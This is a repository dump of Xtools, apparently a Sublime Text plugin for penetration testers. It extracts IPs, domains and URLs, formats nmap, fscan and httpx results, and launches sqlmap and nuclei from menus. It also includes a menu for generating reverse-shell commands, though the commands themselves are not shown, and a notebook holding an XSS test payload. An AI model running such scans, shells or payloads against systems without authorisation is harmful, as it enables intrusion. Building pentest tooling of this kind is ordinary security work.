Repository: chasingboy/Xtools
Branch: main
Commit: 223aee825ec7
Files: 24
Total size: 158.6 KB
Directory structure:
gitextract_hfsza_gx/
├── Context.sublime-menu
├── Context.sublime-menu.bak
├── Notebook.md
├── README.md
├── __init__.py
├── applescript/
│ ├── __init__.py
│ ├── _result.py
│ ├── _run.py
│ ├── _temp.py
│ └── tell.py
├── config.py
├── lib/
│ ├── Xtools-Text.sublime-syntax
│ └── format_tools_result.py
├── themes/
│ ├── Breakers.sublime-color-scheme
│ ├── Catppuccin Macchiato.sublime-color-scheme
│ ├── Catppuccin Mocha.sublime-color-scheme
│ ├── Celeste.sublime-color-scheme
│ ├── Mariana.sublime-color-scheme
│ ├── Monokai.sublime-color-scheme
│ ├── Palenight Theme.sublime-color-scheme
│ ├── Palenight Theme.sublime-theme
│ └── Sixteen.sublime-color-scheme
├── utils.py
└── xtools.py
================================================
FILE CONTENTS
================================================
================================================
FILE: Context.sublime-menu
================================================
[
{
"id": "xtools",
"caption": "🖥️ Xtools",
"children": [
{
"caption": "💻 IP And Domain",
"children": [
{
"caption": "Select ipv4 (LAN)",
"command": "select_ipv4_lan"
},
{
"caption": "Select ipv4 (WAN)",
"command": "select_ipv4_wan"
},
{
"caption": "Select ipv4 (Range)",
"command": "select_ipv4_range"
},
{
"caption": "Select ipv4 (ip:port)",
"command": "select_ipv4_port"
},
{
"caption": "-"
},
{
"caption": "Count ipv4 (Number)",
"command": "count_ipv4_number"
},
{
"caption": "-"
},
{
"caption": "Convert Range[C] to ipv4",
"command": "convert_range_c2ip"
},
{
"caption": "Convert ipv4 to Range[C]",
"command": "convert_range_ip2c"
},
{
"caption": "Convert ipv4 to Range[B]",
"command": "convert_range_ip2b"
},
{
"caption": "-"
},
{
"caption": "Select domain (root)",
"command": "select_domain_root_all",
"args": {"cmd": "root"}
},
{
"caption": "Select domain (all)",
"command": "select_domain_root_all",
"args": {"cmd": "all"}
},
{
"caption": "Filter ip (DNS,CDN)",
"command": "filter_dns_cdn_host"
},
{
"caption": "Filter domain (DNS,CDN)",
"command": "filter_dns_cdn_domain"
},
]
},
{
"caption": "🌐 URL And Router",
"children": [
{
"caption": "Select Urls (- path)",
"command": "select_urls_exclude_path"
},
{
"caption": "Select Urls (+ path)",
"command": "select_urls_include_path"
},
{
"caption": "Select Routers (js,text)",
"command": "select_routers_from_text"
},
{
"caption": "Recover Js Link (webpack)",
"command": "recover_js_link"
},
]
},
{
"caption": "🔎 Text Editing | Finding",
"children": [
{
"caption": "Remove Special Chars",
"command": "remove_special_chars"
},
{
"caption": "Remove Space Char",
"command": "remove_specific_string",
"args": {"str":"space"}
},
{
"caption": "Remove Specific String [*]",
"command": "remove_specific_string",
"args": {"str":"[*]"}
},
{
"caption": "Remove Specific String (*)",
"command": "remove_specific_string",
"args": {"str":"(*)"}
},
{
"caption": "-"
},
{
"caption": "Select Lines (match input)",
"command": "select_lines"
},
{
"caption": "Delete Lines (match input)",
"command": "delete_lines"
},
{
"caption": "-"
},
{
"caption": "Add Prefix (one->line)",
"command": "add_prefix_suffix",
"args": {"cmd":"prefix"}
},
{
"caption": "Add Prefix (line->line)",
"command": "add_prefix_suffix",
"args": {"cmd":"prefix-line"}
},
{
"caption": "Add Suffix (one->line)",
"command": "add_prefix_suffix",
"args": {"cmd":"suffix"}
},
{
"caption": "Add Suffix (line->line)",
"command": "add_prefix_suffix",
"args": {"cmd":"suffix-line"}
},
{
"caption": "-"
},
{
"caption": "Replace Key To Value",
"command": "replace_key_to_value"
},
{
"caption": "Replace Value To Key",
"command": "replace_value_to_key"
},
{
"caption": "Sort And Unique",
"command": "sort_and_unique_text"
},
]
},
{
"caption": "🖱️ Text Encode | Decode",
"children": [
{
"caption": "Base64 Encode (text)",
"command": "base64_encode_text"
},
{
"caption": "Base64 Decode (text)",
"command": "base64_decode_text"
},
{
"caption": "Base64 Encode (line)",
"command": "base64_encode_line"
},
{
"caption": "Base64 Decode (line)",
"command": "base64_decode_line"
},
{
"caption": "-"
},
{
"caption": "URL Encode (text)",
"command": "url_encode_decode_text",
"args": {"cmd":"encode"}
},
{
"caption": "URL Decode (text)",
"command": "url_encode_decode_text",
"args": {"cmd":"decode"}
},
{
"caption": "-"
},
{
"caption": "Md5 Hash (text)",
"command": "md5_encrypt_text"
},
{
"caption": "Md5 Hash (line)",
"command": "md5_encrypt_line"
},
]
},
{
"caption": "-"
},
{
"caption": "⭕ Running Command",
"children": [
{
"caption": "curl (Download File)",
"command": "curl_download_file"
},
/* 通过 <args->cmd> 设置命令, 设置目标为 target.txt, 运行时自动替换为临时文件
eg: httpx -l target.txt
*/
{
"caption": "httpx",
"command": "run_cmd",
"args": {"cmd":"httpx -sc -title -l target.txt"}
},
{
"caption": "nuclei",
"command": "run_cmd",
"args": {"cmd":"nuclei -l target.txt"}
},
{
"caption": "sqlmap",
"command": "run_cmd",
"args": {"cmd":"sqlmap -r target.txt"}
},
/* -- END -- */
]
},
{
"caption": "♻️ Format Tools Result",
"children": [
{
"caption": "nmap (xml->host:port)",
"command": "format_tools_result",
"args": {"tool": "nmap", "mode": "ip"}
},
{
"caption": "nmap (xml->domain:port)",
"command": "format_tools_result",
"args": {"tool": "nmap", "mode": "domain"}
},
{
"caption": "dirsx (classify result)",
"command": "format_tools_result",
"args": {"tool": "dirsx", "mode": ""}
},
{
"caption": "fscan (classify result)",
"command": "format_tools_result",
"args": {"tool": "fscan", "mode": ""}
},
{
"caption": "-"
},
{
"caption": "Highlight Text (httpx)",
"command": "highlight_httpx_nuclei",
"args": {"tool": "httpx"}
},
{
"caption": "Highlight Text (nuclei)",
"command": "highlight_httpx_nuclei",
"args": {"tool": "nuclei"}
},
{
"caption": "Highlight Text",
"command": "highlight_httpx_nuclei",
"args": {"tool": "text"}
},
]
},
{
"caption": "🕵️♀️ Pentest Help Module",
"children": [
{
"caption": "File Upload Package",
"command": "pentest_help_module",
"args": {"tool": "upload"}
},
{
"caption": "Reverse Shell Tools",
"children": [
{
"caption": "Shell (bash, /bin/bash)",
"command": "reverse_shell_tools",
"args": {"shell": "bash"}
},
{
"caption": "Shell (sh, /bin/bash)",
"command": "reverse_shell_tools",
"args": {"shell": "sh"}
},
{
"caption": "Shell (nc, python, php)",
"command": "reverse_shell_tools",
"args": {"shell": "other"}
},
]
},
]
},
{
"caption": "-"
},
{
"caption": "🌓 Xtools Themes",
"command": "setting_xtools_theme",
"children": [
{
"caption": "Default-Catppuccin Macchiato",
"command": "setting_xtools_theme",
"args": {"theme": "Default-Catppuccin Macchiato"}
},
{
"caption": "Default-Catppuccin Mocha",
"command": "setting_xtools_theme",
"args": {"theme": "Default-Catppuccin Mocha"}
},
{
"caption": "Default-Palenight Theme",
"command": "setting_xtools_theme",
"args": {"theme": "Default-Palenight Theme"}
},
{
"caption": "Palenight-Catppuccin Macchiato",
"command": "setting_xtools_theme",
"args": {"theme": "Palenight Theme-Catppuccin Macchiato"}
},
{
"caption": "Palenight-Catppuccin Mocha",
"command": "setting_xtools_theme",
"args": {"theme": "Palenight Theme-Catppuccin Mocha"}
},
{
"caption": "Palenight-Palenight Theme",
"command": "setting_xtools_theme",
"args": {"theme": "Palenight Theme-Palenight Theme"}
},
],
},
{
"caption": "⚙️ Xtools Setting",
"children": [
{
"caption": "Setting Config",
"command": "setting_xtools_config"
},
{
"caption": "English 🔜 Chinese",
"command": "switch_language"
},
]
},
{
"caption": "📝 Xtools Notebook",
"command": "xtools_note_book"
},
{
"caption": "⌨️ Input Text",
"command": "input_text"
},
{
"caption": "-"
},
{
"caption": "🖥️ About Xtools",
"command": "about_xtools"
},
]
}
]
================================================
FILE: Context.sublime-menu.bak
================================================
[
{
"id": "xtools",
"caption": "🖥️ Xtools",
"children": [
{
"caption": "💻 IP和域名模块",
"children": [
{
"caption": "提取 IPv4 (内网)",
"command": "select_ipv4_lan"
},
{
"caption": "提取 IPv4 (外网)",
"command": "select_ipv4_wan"
},
{
"caption": "提取 IPv4 (段)",
"command": "select_ipv4_range"
},
{
"caption": "提取 IPv4 (ip:port)",
"command": "select_ipv4_port"
},
{
"caption": "-"
},
{
"caption": "统计 IPv4 次数",
"command": "count_ipv4_number"
},
{
"caption": "-"
},
{
"caption": "拆分IP范围[C段]为IPv4",
"command": "convert_range_c2ip"
},
{
"caption": "转换IPv4为C段",
"command": "convert_range_ip2c"
},
{
"caption": "转换IPv4为B段",
"command": "convert_range_ip2b"
},
{
"caption": "-"
},
{
"caption": "提取域名 (根域名)",
"command": "select_domain_root_all",
"args": {"cmd": "root"}
},
{
"caption": "提取域名 (根|子域名)",
"command": "select_domain_root_all",
"args": {"cmd": "all"}
},
{
"caption": "-"
},
{
"caption": "过滤IPv4 (DNS,CDN)",
"command": "filter_dns_cdn_host"
},
{
"caption": "过滤域名 (DNS,CDN)",
"command": "filter_dns_cdn_domain"
},
]
},
{
"caption": "🌐 URL和路由模块",
"children": [
{
"caption": "提取URL (不包含路径)",
"command": "select_urls_exclude_path"
},
{
"caption": "提取URL (包含路径)",
"command": "select_urls_include_path"
},
{
"caption": "提取路径|路由",
"command": "select_routers_from_text"
},
]
},
{
"caption": "🔎 文本提取|替换|删除",
"children": [
{
"caption": "删除特殊字符",
"command": "remove_special_chars"
},
{
"caption": "删除空格",
"command": "remove_specific_string",
"args": {"str":"space"}
},
{
"caption": "删除 [] 内的信息",
"command": "remove_specific_string",
"args": {"str":"[*]"}
},
{
"caption": "删除 () 内的信息",
"command": "remove_specific_string",
"args": {"str":"(*)"}
},
{
"caption": "删除匹配的行",
"command": "delete_lines"
},
{
"caption": "提取匹配的行",
"command": "select_lines"
},
{
"caption": "-"
},
{
"caption": "添加前缀 (一行对多行)",
"command": "add_prefix_suffix",
"args": {"cmd":"prefix"}
},
{
"caption": "添加前缀 (多行对多行)",
"command": "add_prefix_suffix",
"args": {"cmd":"prefix-line"}
},
{
"caption": "添加后缀 (一行对多行)",
"command": "add_prefix_suffix",
"args": {"cmd":"suffix"}
},
{
"caption": "添加后缀 (多行对多行)",
"command": "add_prefix_suffix",
"args": {"cmd":"suffix-line"}
},
{
"caption": "-"
},
{
"caption": "替换Key为Value",
"command": "replace_key_to_value"
},
{
"caption": "替换Value为Key",
"command": "replace_value_to_key"
},
{
"caption": "去重并排序",
"command": "sort_and_unique_text"
},
]
},
{
"caption": "🖱️ 文本编码|解码",
"children": [
{
"caption": "Base64编码(全部)",
"command": "base64_encode_text"
},
{
"caption": "Base64解码(全部)",
"command": "base64_decode_text"
},
{
"caption": "Base64编码(按行)",
"command": "base64_encode_line"
},
{
"caption": "Base64解码(按行)",
"command": "base64_decode_line"
},
{
"caption": "-"
},
{
"caption": "URL 编码",
"command": "url_encode_decode_text",
"args": {"cmd":"encode"}
},
{
"caption": "URL 解码",
"command": "url_encode_decode_text",
"args": {"cmd":"decode"}
},
{
"caption": "-"
},
{
"caption": "Md5加密(全部)",
"command": "md5_encrypt_text"
},
{
"caption": "Md5加密(按行)",
"command": "md5_encrypt_line"
},
]
},
{
"caption": "-"
},
{
"caption": "⭕ 命令运行模块",
"children": [
{
"caption": "curl (Download File)",
"command": "curl_download_file"
},
/* 通过 <args->cmd> 设置命令, 设置目标为 target.txt, 运行时自动替换为临时文件
eg: httpx -l target.txt
*/
{
"caption": "httpx",
"command": "run_cmd",
"args": {"cmd":"httpx -sc -title -l target.txt"}
},
{
"caption": "nuclei",
"command": "run_cmd",
"args": {"cmd":"nuclei -l target.txt"}
},
{
"caption": "sqlmap",
"command": "run_cmd",
"args": {"cmd":"sqlmap -r target.txt"}
},
/* -- END -- */
]
},
{
"caption": "♻️ 整理|高亮工具结果",
"children": [
{
"caption": "nmap (xml->host:port)",
"command": "format_tools_result",
"args": {"tool": "nmap", "mode": "ip"}
},
{
"caption": "nmap (xml->domain:port)",
"command": "format_tools_result",
"args": {"tool": "nmap", "mode": "domain"}
},
{
"caption": "dirsx 结果分类|整理",
"command": "format_tools_result",
"args": {"tool": "dirsx", "mode": ""}
},
{
"caption": "fscan 结果分类|整理",
"command": "format_tools_result",
"args": {"tool": "fscan", "mode": ""}
},
{
"caption": "-"
},
{
"caption": "整理|高亮结果 (httpx)",
"command": "highlight_httpx_nuclei",
"args": {"tool": "httpx"}
},
{
"caption": "整理|高亮结果 (nuclei)",
"command": "highlight_httpx_nuclei",
"args": {"tool": "nuclei"}
},
{
"caption": "高亮文本",
"command": "highlight_httpx_nuclei",
"args": {"tool": "text"}
},
]
},
{
"caption": "🕵️♀️ 渗透测试辅助模块",
"children": [
{
"caption": "文件上传请求包",
"command": "pentest_help_module",
"args": {"tool": "upload"}
},
{
"caption": "生成反弹shell命令",
"children": [
{
"caption": "Shell (bash, /bin/bash)",
"command": "reverse_shell_tools",
"args": {"shell": "bash"}
},
{
"caption": "Shell (sh, /bin/bash)",
"command": "reverse_shell_tools",
"args": {"shell": "sh"}
},
{
"caption": "Shell (nc, python, php)",
"command": "reverse_shell_tools",
"args": {"shell": "other"}
},
]
},
]
},
{
"caption": "-"
},
{
"caption": "🌓 Xtools 主题",
"command": "setting_xtools_theme",
"children": [
{
"caption": "Default-Catppuccin Macchiato",
"command": "setting_xtools_theme",
"args": {"theme": "Default-Catppuccin Macchiato"}
},
{
"caption": "Default-Catppuccin Mocha",
"command": "setting_xtools_theme",
"args": {"theme": "Default-Catppuccin Mocha"}
},
{
"caption": "Default-Palenight Theme",
"command": "setting_xtools_theme",
"args": {"theme": "Default-Palenight Theme"}
},
{
"caption": "Palenight-Catppuccin Macchiato",
"command": "setting_xtools_theme",
"args": {"theme": "Palenight Theme-Catppuccin Macchiato"}
},
{
"caption": "Palenight-Catppuccin Mocha",
"command": "setting_xtools_theme",
"args": {"theme": "Palenight Theme-Catppuccin Mocha"}
},
{
"caption": "Palenight-Palenight Theme",
"command": "setting_xtools_theme",
"args": {"theme": "Palenight Theme-Palenight Theme"}
},
],
},
{
"caption": "⚙️ Xtools 配置",
"children": [
{
"caption": "设置 Config",
"command": "setting_xtools_config"
},
{
"caption": "中文 🔜 英文",
"command": "switch_language"
},
]
},
{
"caption": "📝 Xtools 记事本",
"command": "xtools_note_book"
},
{
"caption": "⌨️ 输入文本",
"command": "input_text"
},
{
"caption": "-"
},
{
"caption": "🖥️ 关于 Xtools",
"command": "about_xtools"
},
]
}
]
================================================
FILE: Notebook.md
================================================
## xtools 记事本
> 功能:临时笔记、payload...
```paylaod
<script>alert(1)</script>
```
================================================
FILE: README.md
================================================
<h1 align="center">Xtools</h1>
<h3 align="center">Xtools 是一款 Sublime Text 插件、同时是一款简单的资产处理、命令行调用工具</h3>
<p align="center">
<img src="https://img.shields.io/badge/Plugin-Sublime_Text-blue?color=rgb(138%2C171%2C128)">
<img src="https://img.shields.io/badge/Version-V4.2.3-green?style=flat">
<img src="https://img.shields.io/github/last-commit/chasingboy/Xtools">
<img src="https://img.shields.io/github/stars/chasingboy/Xtools?style=flat&labelColor=rgb(41%2C52%2C52)&color=green">
<img src="https://img.shields.io/github/issues/chasingboy/Xtools">
<img src="https://visitor-badge.laobi.icu/badge?page_id=chasingboy.Xtools&left_color=green&right_color=#66ccff">
</p>
<img width="975" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/f20db515-4e9e-4c4d-aec9-ed4a310a0f34">
### 前言
Xtools 是一款 Sublime Text 插件,同时是一款简单的资产处理工具,在渗透测试实战过程中,有很多重复的操作,所以思考着写一款小工具来减少重复的劳动。
日常渗透中使用过一款资产文本清洗工具,使用起来感觉不错,并且添加了一些额外功能,在此感谢 @xinyu2428 师傅。
但在日常使用过程中,总感觉缺少了点什么。思考着继续补充 javascript 代码,发现无法和命令行进行交互,遂放弃。一番挣扎过后,发现很多时候都在使用 Subliem Text 编辑器,嗯,最后的思路就是集成在 Sublime Text 插件。这样一来,同时减少了很多的 ctl+c 和 ctl+v。
<img width="1649" alt="1" src="https://github.com/chasingboy/Xtools/blob/main/assets/xtools.png">
### 功能
✅ 支持 IP|Domain|URL 处理
* 提取 IPv4 (内网、外网、IP段)
* IPv4 和 C 段互转
* IPv4 地址范围拆分
```
1.1.1.1-100
1.1.1.1-1.1.1.100
1.1.1.1-1.1.2.100
1.1.1.1/24
1.1.1.1/28
... ...
```
* 统计 IPv4 次数
* 提取 Domain(根域名、根域名|子域名)
* 提取 URL(有路径、无路径)
* 提取 Router(js|text)
* 过滤 CDN 和 DNS 域名和IP(需补充域名和IP)
✅ 支持简单文本处理
* 删除特殊字符、空格、`[*]`、`(*)` (* 表示括号内的所有内容)
* 按行提取指定内容
* 按行删除指定内容
* 替换指定字典的 key 和 value
✅ 支持简单编码和解码
* base64 编码和解码
* url 编码和解码
* md5 加密
✅ 支持调用系统命令执行
* curl 下载文件
* sqlmap
* ......(自行配置)
✅ 支持整理|高亮工具扫描结果
* 转换 nmap|masscan xml 结果为 host:port 格式
* 整理和分类 fscan 扫描结果
* 整理和高亮 httpx 和 nuclei 扫描结果
✅ 渗透测试辅助模块
* 返回文件上传数据包,方便测试文件上传接口
* 提供反弹 shell 命令生成
### 使用截图
🏷️ 在文本中提取 IP。
<img width="1736" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/b53054e3-2192-4292-98cb-08068bbbe219"><br/>
🏷️ 按行进行 base64 编码。
<img width="1736" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/ac3ffa1f-ff2a-45c8-b018-72dc37891108"><br/>
🏷️ 按字典进行 key 和 value 替换。
<img width="1721" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/c2c0d300-26c7-4b49-aa5f-0c06f63d8b38"><br/>
🏷️ 打开终端调用 sqlmap。
<img width="1736" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/933036ac-52be-4fac-b315-73bc59e6cafd"><br/>
🏷️ curl 批量下载文件,会在桌面自动创建 work 文件夹,并保存下载结果。
<img width="1731" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/071abf87-839d-49f3-bca6-ac9719327e8e"><br/>
🏷️ 在处理需要输入时,选择 Input Text 即可打开输入框。
<img width="1698" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/96b80ebb-c73d-4666-b527-fb998d4d2f1b"><br/>
### 配置命令行
选择 Setting Config 即可打开配置文件,并在注释的范围内添加需要的系统命令。统一格式为 `"args": {"cmd":"sqlmap -r target.txt"}`, 比如 slqmap,httpx,nuclei、dirscan 对应不同字典。
```
/* 通过 <args->cmd> 设置命令, 设置目标为 target.txt, 运行时自动替换为临时文件
eg: httpx -l target.txt
*/
{
"caption": "httpx [GET]",
"command": "run_cmd",
"args": {"cmd":"httpx -x GET -sc -title -l target.txt"}
},
{
"caption": "httpx [POST]",
"command": "run_cmd",
"args": {"cmd":"httpx -x POST -sc -title -l target.txt"}
},
{
"caption": "nuclei",
"command": "run_cmd",
"args": {"cmd":"nuclei -l target.txt"}
},
{
"caption": "sqlmap",
"command": "run_cmd",
"args": {"cmd":"sqlmap -r target.txt"}
},
{
"caption": "dirscan (dir1.txt)",
"command": "run_cmd",
"args": {"cmd":"dirscan -w /.../dicts/dir1.txt -l target.txt"}
},
{
"caption": "dirscan (dir2.txt)",
"command": "run_cmd",
"args": {"cmd":"dirscan -w /.../dicts/dir2.txt -l target.txt"}
},
/* -- END -- */
```
~~⚠️ 注意:命令行功能目前只支持 macOS。~~
#### 新增功能-支持 windows 命令行调用
```
/* 通过 <args->cmd> 设置命令, 设置目标为 target.txt, 运行时自动替换为临时文件
eg: httpx -l target.txt
*/
{
"caption": "httpx",
"command": "run_cmd",
"args": {"cmd":"C:\\Users\\kali\\httpx\\httpx -sc -title -l target.txt"}
},
/* -- END -- */
```
比如配置 httpx 命令,或者把 httpx 命令添加到环境变量。
<img width="1846" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/ecc36edb-c1d0-40d2-907c-7fd90bce36ac">
### fscan 扫描结果整理
按照 ip:port、web-poc、weak-password、web-info 等分类 fscan 的结果,且对部分结果进行颜色处理,方便浏览。
<img width="1458" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/3c581ae2-bcc9-4e67-8fd4-63dda6645d13">
web 相关信息按照状态码进行排序、指纹信息标红处理、弱口令分类处理等。
<img width="1469" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/02aca0de-9cb3-4b15-aaac-d92b3f70b9b7">
### httpx|nuclei 扫描结果整理
httpx|nuclei 工具的扫描结果保存在 txt 文件中,在二次查看时,总是白茫茫一遍,容易错过重点资产,因此对相关信息进行排序和高亮处理,提高浏览的舒适性。
<img width="1454" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/02a9fb31-5f82-4029-9edc-9d8464ddc679">
<img width="1465" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/e956e7e1-567e-458c-a877-3c4f7b9993d6">
### 安装
下载源码,github 下载后文件名 Xtools-main.zip,解压后需重命名为 Xtools,否则可能某些路径出错。
进入到 Sublime Text 插件目录:Preferences->Browse Packpages,把 Xtools 放在该目录下即可。
<img width="1730" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/6d4a5c50-1079-4534-8acf-9aec8213dc23"><br/>
⚠️ 注意:python 调用 masOS 终端需要 applescript 模块,请勿删除
#### 安装报错
最近有师傅反馈,window 11 安装时出现错误,功能无法正常使用。经过调试,发现是师傅的系统**用户名是中文**。如果系统的用户名是中文且安装不成功,可以尝试在 xtools.py 文件自定义系统用户名。
```python
# 获取 HOME PATH
HOME = os.path.expanduser("~")
'''
-> 如果系统的用户名是中文且安装不成功,可以尝试在 xtools.py 文件设置系统的 "<用户名>"
-> 删除 # 注释
Eg:
HOME = "C:\\Users\\" + u"中文"
'''
#HOME = "/Users/" + u"<用户名>" # osx
#HOME = "/home/" + u"<用户名>" # linux
#HOME = "C:\\Users\\" + u"<用户名>" # windows
workdir = os.path.join(HOME,'.xtools')
```
#### 功能灰色无法使用
* 检查系统用户名是否为 **中文**
* 检查工具文件夹名称是否为 Xtools
* 检查 applescript 压缩包是否解压
* 查看 issues
```
https://github.com/chasingboy/Xtools/issues
```
### 新版本 Sublime Text 无法正常使用
在新版本的 Sublime Text(版本4166~4199)中,部分接口有变化导致 xtools 部分功能失效。可以通过修改 xtools.py 中的代码修复 Bug。
```python
# 修改 new_view 函数
# 注释 new_view.insert(edit, 0, text.strip())
# 使用 new_view.run_command('insert', {'characters': text.strip()})
# 新版本
def new_view(view, edit, text):
new_view = view.window().new_file()
new_view.set_scratch(True)
# 旧版本 Sublime Text
# new_view.insert(edit, 0, text.strip())
# 新版本 Sublime Text
new_view.run_command('insert', {'characters': text.strip()})
view.window().focus_view(new_view)
```
> `new_view.run_command('insert', {'characters': text.strip()})` 新旧版本都兼容,Xtools 最新版本默认启用
<img width="1562" alt="image" src="https://github.com/chasingboy/Xtools/assets/39737245/2c255868-fa2c-4e57-a6f3-c61e9a9e8e3f">
### Xtools 中文版设置
[Xtools] --> [Xtools Setting] --> [English 🔜 Chinese]
### Xtools 主题设置
Xtools 整合了 Palenight 和 Catppuccin 两款主题,便于格式化 httpx|nuclei|fscan 等结果。
<img width="1460" alt="image" src="https://github.com/user-attachments/assets/e4ebea57-1c49-4b09-aa00-2771caaddf50">
### 公众号
该公众号用于编写 Xtools 系列工具使用文档和工具更新通知
<p align="center"><img width="300" alt="image" src="https://github.com/chasingboy/appsx/blob/main/assets/xsec.png"></p>
### 特别感谢
* xinyu2428@ https://github.com/xinyu2428/HTML_TOOLS
* linkfinder@ https://github.com/GerbenJavado/LinkFinder
* ZororoZ@ https://github.com/ZororoZ/fscanOutput/tree/main
* aaaaa_ascii@ https://blog.csdn.net/aaaaa_ascii/article/details/131956793
### 更新记录
[+] 2023-07-15【新增】Windows 命令行调用支持。
[+] 2023-07-18【新增】一键排序去重、提取 javascript 文件路由。
[+] 2023-08-28【新增】提取 IP 段|转换 ipv4 支持 192.168.1.1-10 等格式
[+] 2023-12-15【修复】新版本 Sublime Text 中部分功能 Bug
[+] 2024-01-02【新增】URL 编码解码|nmap 扫描结果转换|反弹shell命令生成
[+] 2024-01-02【新增】中文版配置文件|临时记事本
[+] 2024-01-03【修改】applescript 模块为解压状态,不需要手动解压
[+] 2024-04-14【修复】把 panel 显示转为新文件显示,适应新版本 Sublime Text
[+] 2024-04-22【新增】fscan|httpx|nuclei 结果整理功能
[+] 2024-05-19【新增】添加前缀|后缀 功能|修复 nmap 结果转换 bug
[+] 2024-11-10【新增】统计 ipv4 次数功能
[+] 2024-05-27【新增】提取 ip:port 格式功能
[+] 2024-05-29【修复】fscan 新版本(1.8.x)结果整理 bug
[+] 2024-07-18【新增】Xtools 主题设置功能
[+] 2024-09-05【修改】Xtools 页面布局|增加一键中英文切换功能
[+] 2024-10-20【新增】nmap 提取结果格式 domain:port
[+] 2024-11-18【新增】dirsx 结果分类和整理
[+] 2024-11-18【修复】路由提取 Bug
================================================
FILE: __init__.py
================================================
================================================
FILE: applescript/__init__.py
================================================
================================================
FILE: applescript/_result.py
================================================
class Result:
code = None
out = None
err = None
def __init__(self,code,out,err):
self.code = code
self.out = out.decode("utf-8").rstrip()
self.err = err.decode("utf-8").rstrip()
================================================
FILE: applescript/_run.py
================================================
import os
import subprocess
from ._result import Result
from ._temp import _tempfile
def _run(script, background=False, javascript=False):
"""run script file/string"""
if not background:
args = ["osascript", "-l", "JavaScript", "-"] if javascript else ["osascript", "-"]
kwargs = dict(stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
else:
f = script if os.path.exists(script) else _tempfile()
if not os.path.exists(script):
open(f,'w').write(script)
args = ["osascript", "-l", "JavaScript", f] if javascript else ["osascript", f]
kwargs = {'stdout':open(os.devnull, 'wb'),'stderr':open(os.devnull, 'wb')}
proc = subprocess.Popen(args,**kwargs)
if not background:
cmd = open(script).read() if os.path.exists(script) else script
out, err = proc.communicate(input=cmd.encode("utf-8"))
return Result(proc.returncode,out, err)
================================================
FILE: applescript/_temp.py
================================================
import os
from tempfile import mkstemp
def _tempfile():
f, path = mkstemp()
os.close(f)
return path
================================================
FILE: applescript/tell.py
================================================
__all__ = ['app']
from ._run import _run
def app(appname, applescript, background=False):
"""execute applescript `tell application "VLC" ...`"""
cmd = """tell app "%s"
%s
end tell
""" % (appname, applescript)
return _run(cmd,background)
================================================
FILE: config.py
================================================
# config
filter_domains = '''
.163jiasu.com
.1test.cn
.21okglb.cn
.21vianet.com.cn
.21vokglb.cn
.360cdn.cn
.360qhcdn.com
.360wzb.cn
.360wzb.com
.51cdn.com
.5test.cn
.acadn.com
.afxcdn.net
.aicdn.com
.akadns.net
.akamai.
.akamai.com
.akamaiedge.net
.akamai.net
.akamai-staging.net
.akamaitech.net
.akamaitechnologies.com
.akamaized.net
.alicdn.com
.alicloudlayer.com
.alicloudsec.com
.alikunlun.com
.alikunlun.net
.alivecdn.com
.aliyuncs.com
.aliyun-inc.com
.amazonaws.com
.aodianyun.com
.aqb.so
.att-dsa.net
.awsdns
.ay1.b.yahoo.com
.azureedge.
.azureedge.net
.b2r.com.cn
.baiduyundns.cn
.baiduyundns.com
.baiduyundns.net
.bcedns.cn
.bcedns.com
.bcedns.net
.bdydns.cn
.bdydns.com
.bdydns.net
.bitgravity.
.bitgravity.com
.bluehatnetwork.com
.blueit.com
.blueit.org.cn
.bsclink.cn
.c3cache.net
.c3cdn.net
.cachecn.com
.cachecn.net
.cachefly.
.cachefly.net
.cap-mii.net
.cc-1.com
.ccbench.com
.cc-cps.cn
.cc-cps.com
.cc-cps.com.cn
.cc-cps.mobi
.cc-cps.net
.ccgslb.cn
.ccgslb.com
.ccgslb.com.cn
.ccgslb.net
.ccgslb.net.cn
.ccindex.cn
.ccindex.com.cn
.ccmplus.cn
.ccmplus.com.cn
.ccmplus.net
.cdn2cdn.net
.cdn77.net
.cdn77.org
.cdn.bitgravity.com
.cdn.cloudflare.net
.cdnetworks.net
.cdngc.net
.cdngslb.com
.cdnhwc2.com
.cdnify.io
.cdn.qshyy.cn
.cdnsun.net
.cdnsvc.cn
.cdnsvc.com
.cdnsvc.com.cn
.cdnsvc.net
.cdnsvc.net.cn
.cdn.telefonica.com
.cdntip.com
.cdnudns.com
.chinacache.com
.chinacache.com.cn
.chinacache.net
.chinacache.org
.chinacdnweb.qiniu.com
.chinaidns.net
.chinanetcenter.com
.clients.turbobytes.net
.cloudcdn.cn
.cloudcdn.net
.clouddn.com
.cloudflare
.cloudflare.com
.cloudfront.
.cloudfront.net
.cloudglb.com
.cloudglb.net
.cloudtcp.net
.cloudxns.com
.cloudxns.net
.cncssr.chinacache.net
.customcdn.cn
.customcdn.com
.dnion.com
.dnspao.com
.dnsv1.
.dnsv1.com
.dwion.com
.edgecast.
.edgecastcdn.net
.edgekey.
.edgekey.net
.edgesuite.net
.ewcache.com
.fastcache.com
.fastcdn.com
.fastly.
.fastlylb.net
.fastly.net
.fastwebcdn.com
.fastweb.com.cn
.ffdns.net
.footprint.
.footprint.net
.fpbns.
.fpbns.net
.fsspace.cn
.fsspace.com
.fsspace.com.cn
.fwcdn.com
.fwcdn.net
.fwdns.net
.fwmob.com
.gccdn.cn
.gccdn.net
.globalcdn.cn
.googlesyndication.
.googleusercontent.com
.gslbsvc.cn
.gslbsvc.com
.gslbsvc.com.cn
.gslbsvc.net
.gslbsvc.net.cn
.gslb.taobao.com
.gslb.tbcache.com
.hacdn.com
.hacdn.net
.hadns.net
.hd-cdn.com
.hdslb.com
.hdslb.net
.hiberniacdn.com
.hichina.com
.hichina.net
.hwcdn.net
.ialicdn.com
.igslb.net
.incapdns.
.incapdns.net
.inscname.net
.insnw.net
.instacontent.net
.jcloud-cdn.com
.jiashule.com
.jiasule.org
.jomodns.com
.ks-cdn1.com
.ksyuncdn.com
.kunlunaq.com
.kunlunar.com
.kunlunca.com
